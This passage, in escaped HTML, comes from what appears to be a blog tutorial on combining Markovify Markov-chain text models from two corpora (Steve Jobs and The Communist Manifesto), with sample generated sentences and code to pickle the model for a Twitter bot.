            subprocess&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;call&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/corpus/&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;candidate&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.sh&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; shell&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Corpora scripts not set as executable!&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Get sizes of corpora and to make model ratio basis of equal size&lt;/span&gt;
corpus1_size&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;file_len&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/corpus/&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;corpus1&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
corpus2_size&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;file_len&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/corpus/&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;corpus2&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; corpus1_size &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; corpus2_size&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    ratio1base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.0&lt;/span&gt;
    ratio2base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;corpus1_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;corpus2_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    ratio2base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.0&lt;/span&gt;
    ratio1base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;corpus2_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;corpus1_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Get raw text as strings and build models&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/corpus/&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    text_a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/corpus/&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    text_b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; model_type &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;naive&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Naive models&lt;/span&gt;
    model_a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; markovify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Text&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;text_a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; state_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    model_b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; markovify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Text&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;text_b&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; state_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; model_type &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expert&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Custom models&lt;/span&gt;
    model_a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; POSifiedText&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;text_a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; state_size&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;state_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    model_b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; POSifiedText&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;text_b&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; state_size&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;state_size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Combine the models&lt;/span&gt;
model_combo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; markovify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;combine&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; model_a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; model_b &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; ratio1base&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;ratio1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ratio2base&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;ratio2 &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Print randomly-generated sentences of no more than 140 characters&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sentences&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;model_combo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;make_short_sentence&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;140&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; max_overlap_total&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;overlap_total&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; max_overlap_ratio&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;overlap_ratio&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tries&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;tries&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This new script allows us to weight the two models we combine relative to eachother. It also lets us set constraints with regards to originality via maximum overlap with training examples, both the number of sequential words and percentage of the resulting sentence. We can also override the default state size (2), i.e. increase the number of previous events&apos; states each event depends on - two meaning only the immediately previous event i.e. word). Finally, we can also choose what type of model to use (the first, naive class, or the second, more advanced class).&lt;/p&gt;
&lt;p&gt;You can now do this like this : &lt;code class=&quot;language-text&quot;&gt;python trainModel.py &amp;lt;corpus1&gt; &amp;lt;corpus2&gt; [&amp;lt;scale1&gt; &amp;lt;scale2&gt; &amp;lt;stateSize&gt; &amp;lt;overlapTotal&gt; &amp;lt;overlapRatio&gt; &amp;lt;tries&gt; &amp;lt;sentences&gt; &amp;lt;modelComplexity&gt;]&lt;/code&gt; (where the arguments in square brackets are optional).&lt;/p&gt;
&lt;p&gt;Alternatively, you can run &lt;code class=&quot;language-text&quot;&gt;make model ARGS=&quot;&amp;lt;corpus1&gt; &amp;lt;corpus2&gt; [&amp;lt;scale1&gt; &amp;lt;scale2&gt; &amp;lt;stateSize&gt; &amp;lt;overlapTotal&gt; &amp;lt;overlapRatio&gt; &amp;lt;tries&gt; &amp;lt;sentences&gt; &amp;lt;modelComplexity&gt;]&quot;&lt;/code&gt; from &lt;a href=&quot;https://github.com/EivindArvesen/dankenstein&quot;&gt;Dankenstein&lt;/a&gt;&apos;s project root.&lt;/p&gt;
&lt;h2&gt;In case of &lt;em&gt;Yuge&lt;/em&gt; corpora&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Note: I have not needed to perform the following step during my own work&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;By default, the &lt;code class=&quot;language-text&quot;&gt;markovify.Text&lt;/code&gt; class loads, and retains, the your textual corpus, so that it can compare generated sentences with the original (and only emit novel sentences).&lt;/p&gt;
&lt;p&gt;With &lt;em&gt;very&lt;/em&gt; large corpora, however, loading the entire text at once (and retaining it) can be memory-intensive. You can solve the problem doing something like this.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Tell Markovify not to retain the original&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;path/to/my/huge/corpus.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    text_model &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; markovify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Text&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; retain_original&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;text_model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;make_sentence&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Read in the corpus line-by-line or file-by-file and combine them into one model at each step&lt;/span&gt;
combined_model &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dirpath&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; filenames&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;walk&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;path/to/my/huge/corpus&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; filename &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; filenames&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dirpath&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; filename&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            model &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; markovify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Text&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; retain_original&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; combined_model&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                combined_model &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; markovify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;combine&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;models&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;combined_model&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; model&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                combined_model &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; model

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;combined_model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;make_sentence&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Output&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9a96fea87a1d6d677d8303f177e5a5a2/0a47e/karlsComputer.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.45569620253164%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJElEQVR42gEZA+b8AAkIBwwLCQoJBykmJFVSTm1pZYiDf6einr64tMrDvdLLxtPLxszGwL+4s722sbawrKSemouGgoyIhI6JhgAJCAYMCwkFBAJEQD6Ri4iWkIySjImNiIR+enZsaGSVkIx/endiXlt+eXZXU1FdWVdlYV5RTktWU1CBfHkAExIQGhgWEQ8OWldToZ2Ycm9raGRheXRyhYB9npmUta+qrqijsaumzMXAs6ynyMG8x8C7yMG9w7y4vri0ACclJCwpKGNfXLGuqd/d2c/NyK2qpaijnrq0sL63s7u0sL63s7+4tLqzr762srawq6WfnJSPi42IhYWBfgAZGBY3NTKJhX/d3Nfx8O3d29fFw76Xk46JhICPioaVkIyWkI2blpKgmpefmJWooZ1NSkcEAwINDAoJCQcAKCYkUk9LZmJch4SAnJmUqaaho6Cawb65pqKdk46Kj4qGoZuYp6GdqKKerKShubCtUk9MBQQDExMREhEPAEM/PmRgW1tXUXl2cbe2sbu5tH16c3h1b42KhENAPSEgHklFQ4iDf5mUkKmkn7izrVFNSgUFAxMSEBcWFABpZWJybmliX1lDQT1TUEuFgnySj4hjX1pbV1MZFxYcGxkYFhUxLy1/e3exrKe4s61PTUkHBwUSEQ8SEA8AX1tZenVydXFsb2xofXt2gX55urewjIqFOjY0HxsaIBwbGRcWExEQenVytK6puLOtT0xJAQAAHxwbRUI/AEVCQFBNSZiVjsG+uMC+uLq4ssbEvoB8eDEtKxwYFh4aGRkWFUhFQ5WQjLCrpry2sUVCQCAfHYJ+epuVkgCKhYKblpGCfnqVkYyHhH2/urScl5ODfnqtp6J2cGwTDw4pJSOemZSzrairpqKmoZx9eHV2cm6hm5eXkY0A5d7YmZSQg356pqCci4iDxcG8mJOPiYSAycS/y8bBHRgYIB0cfHd0pJ+boJuXko2Kn5mVg397k46KbWlmANnTzZSOioqGgpCLh396d56alpyXk4+Kh8G7t9bPykpFQwsHBl1YVsG7t763srixrZ+ZlZqUkJaRjYmEgOSob20pBBp0AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;karlsComputer&quot;
        title=&quot;&quot;
        src=&quot;/static/9a96fea87a1d6d677d8303f177e5a5a2/0a47e/karlsComputer.png&quot;
        srcset=&quot;/static/9a96fea87a1d6d677d8303f177e5a5a2/c26ae/karlsComputer.png 158w,
/static/9a96fea87a1d6d677d8303f177e5a5a2/6bdcf/karlsComputer.png 315w,
/static/9a96fea87a1d6d677d8303f177e5a5a2/0a47e/karlsComputer.png 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In my attempts, I pretty soon discovered that a hybrid of Steve Jobs and The Communist Manifesto yielded some pretty great results.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;Redistribution is subject to the crazy ones.
I would have to study physics to understand the laws of the proletariat.
And yet death is the most rudimentary of directions and you asked how to drive a car.
I got more thrill out of them than I have out of any practical application in my body.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;There were also some particularly uncharacteristic ones,&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;We also know first hand that Flash is the greatest invention of Life.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;and some unsettling ones.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;Somehow it lives on, but sometimes I think they are afraid how we would taste.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Also, some strange ones...&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;So at 30 I was born.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;Our belief was that I had never graduated from high school.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;So I decided to put me up for adoption.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I therefore decided to save the model, essentially just adding the following to our training-script, in place of the last code block (from the comment about printing randomly...) to serialize the model and some associated variables:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Pickle what we need&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; cPickle &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; pickle
pickle&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dump&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;model&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; model_combo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;overlap_total&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; overlap_total&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;overlap_ratio&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; overlap_ratio&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;tries&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;tries&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;sentences&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; sentences&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;/twitter-bot/model.p&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token 